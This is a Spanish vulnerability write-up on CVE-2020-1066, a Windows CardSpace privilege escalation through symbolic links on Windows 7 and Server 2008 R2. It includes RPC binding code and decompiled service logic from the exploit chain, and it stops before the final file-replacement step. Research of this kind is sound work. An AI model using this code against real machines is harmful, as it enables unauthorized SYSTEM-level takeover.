
Exploit de escalada de privilegios local para CVE-2020-1066 dirigido a Windows 7 y Server 2008 R2. Aprovecha el reemplazo arbitrario de archivos mediante el abuso de enlaces simbólicos del servicio Windows CardSpace (idsvc) para lograr la ejecución de código a nivel de SYSTEM.
Esta vulnerabilidad es una vulnerabilidad de elevación de privilegios local por reemplazo de archivos arbitrarios causada por el manejo incorrecto de objetos de enlace simbólico por parte del servicio Windows CardSpace
El autor proporciona el PoC únicamente con fines de investigación; si el lector utiliza este PoC para otros fines, el autor no se hace responsable.
[toc]
Afecta a usuarios normales de Windows 7 y Windows Server 2008 R2, así como a usuarios de IIS con configuraciones especiales habilitadas.
El autor es quien envió la vulnerabilidad, actualizada en mayo de 2020. La vulnerabilidad proviene del servicio Windows CardSpace (abreviado como idsvc) de Windows 7 y Windows Server 2008 R2. Este servicio puede ser iniciado por cualquier usuario, se ejecuta con permisos System y ofrece llamadas RPC públicas. Cuando el usuario provoca que el servicio mueva un archivo de configuración específico ubicado en el directorio de la variable de entorno %APPDATA% del usuario actual, el servicio no maneja correctamente los objetos de enlace simbólico, lo que genera una elevación de privilegios local mediante el reemplazo de archivos arbitrarios. Esta es la causa de la vulnerabilidad.
Dado que se basa en llamadas RPC, primero es necesario obtener la interfaz del servicio MIDL para poder escribir código local que interactúe con él. El autor recomienda utilizar la herramienta RpcView. Para obtener más detalles, puede consultar la serie de artículos sobre explotación de vulnerabilidades RPC.
Primero, utilice el siguiente método para obtener el archivo de símbolos y realizar la configuración de símbolos en la herramienta. Después, podrá descompilar el archivo IDL de la interfaz RPC. El método específico es el siguiente:``` //先配置环境变量[_NT_SYMBOL_PATH]值如下 SRVC:\symbolshttp://msdl.microsoft.com/download/symbols/ //手动下载符号,symchk.exe在windbg目录下 symchk.exe "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\infocard.exe" /v //在RpcView工具点击Options->Configure Symbols,输入如下内容,注意大小写 srv*C:\symbols

A través de la herramienta se obtienen 3 datos importantes: el tipo de protocolo Rpc, el nombre del protocolo y el archivo de definición del cliente de la interfaz del protocolo (el archivo .c generado al compilar el archivo IDL, consulte el cuadro de texto Decompilation a la izquierda). De esta manera, se puede vincular el servicio Rpc utilizando el siguiente método```
BOOL StartRpcService()
{
RPC_STATUS status;
unsigned int cMinCalls = 1;
RPC_BINDING_HANDLE v5;
RPC_SECURITY_QOS SecurityQOS = {};
RPC_WSTR StringBinding = nullptr;
if (StartConnectingService())
{
//Rpc协议的类型,协议名称
status = RpcStringBindingComposeW(nullptr, L"ncalrpc", 0, L"31336F38236F3E2C6F3F2E6F20336F20236F21326F", nullptr, &StringBinding);
if (status){
printf("RpcStringBindingComposeW Failed:%d\n", status);
return(status);
}
status = RpcBindingFromStringBindingW(StringBinding, &hBinding);
RpcStringFreeW(&StringBinding);
if (status){
printf("RpcBindingFromStringBindingW Failed:%d\n", status);
return(status);
}
SecurityQOS.Version = 1;
SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
status = RpcBindingSetAuthInfoExW(hBinding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS);
if (status){
printf("RpcBindingSetAuthInfoExW Failed:%d\n", status);
return(status);
}
//绑定接口
status = RpcEpResolveBinding(hBinding, DefaultIfName_v1_0_c_ifspec);
if (status){
printf("RpcEpResolveBinding Failed:%d\n", status);
return(status);
}
}
else
{
printf("Start Connecting Windows Cardspace Service Failed");
return 0;
}
return 0;
}
Al descompilar el código del servicio idsvc se obtiene el proyecto específico (ver proyecto relacionado). El servicio idsvc enlaza el controlador global RequestFactory.ProcessNewRequest de la interfaz RPC global. Para la primera llamada, cuando parentRequestHandle es 0, se llama a la clase CreateClientRequestInstance para procesar la devolución de llamada; las operaciones posteriores son procesadas por la clase CreateUIAgentRequestInstance.``` //全局RPC接口的全局处理程序 internal static int ProcessNewRequest( int parentRequestHandle, IntPtr rpcHandle, IntPtr inArgs, out IntPtr outArgs) { ... //初次调用 if (parentRequestHandle == 0) { using (UIAgentMonitorHandle monitorHandle = new UIAgentMonitorHandle()) { using (ClientRequest clientRequestInstance = RequestFactory.CreateClientRequestInstance(monitorHandle, structure.Type, rpcHandle, inStream, (Stream)outStream)) {
string extendedMessage; //反射出来后执行实例的DoProcessRequest方法处理请求 num = clientRequestInstance.DoProcessRequest(out extendedMessage); RpcResponse outArgs1; RequestFactory.ConvertStreamToIntPtr(outStream, out outArgs1); //返回结果 outArgs = outArgs1.Marshal(); } } }
El servicio idsvc reflejará la clase correspondiente según el nombre de clase en el campo RpcRequest->Type para manejar la devolución de llamada. Aquí, el POC utiliza la clase "ManageRequest";```
private static ClientRequest CreateClientRequestInstance( UIAgentMonitorHandle monitorHandle, string reqName, IntPtr rpcHandle,Stream inStream,Stream outStream)
{
ClientRequest clientRequest = (ClientRequest)null;
lock (RequestFactory.s_createRequestSync)
{
RequestFactory.RequestName request =
RequestFactory.s_requestMap[reqName];
if (-1 !=
Array.IndexOf<RequestFactory.RequestName>(RequestFactory.s_uiClientRequests,
request))
{
Process contextMapping =
ClientUIRequest.GetContextMapping(rpcHandle, true);
InfoCardTrace.ThrowInvalidArgumentConditional(null ==
contextMapping, nameof(rpcHandle));
WindowsIdentity executionIdentity =
NativeMcppMethods.CreateServiceExecutionIdentity(contextMapping);
InfoCardUIAgent agent =
monitorHandle.CreateAgent(contextMapping.Id, executionIdentity, tSSession);
switch (RequestFactory.s_requestMap[reqName])
{
//这里使用的是"ManageRequest"类;
case RequestFactory.RequestName.ManageRequest:
clientRequest = (ClientRequest)new
ManageRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream,
outStream);
break;
}
}
Activa la función DoProcessRequest de la instancia ManageRequest para procesar la solicitud, omitiendo pasos intermedios, y finalmente llama a StoreConnection.CreateDefaultDataSources() para llegar al punto de explotación.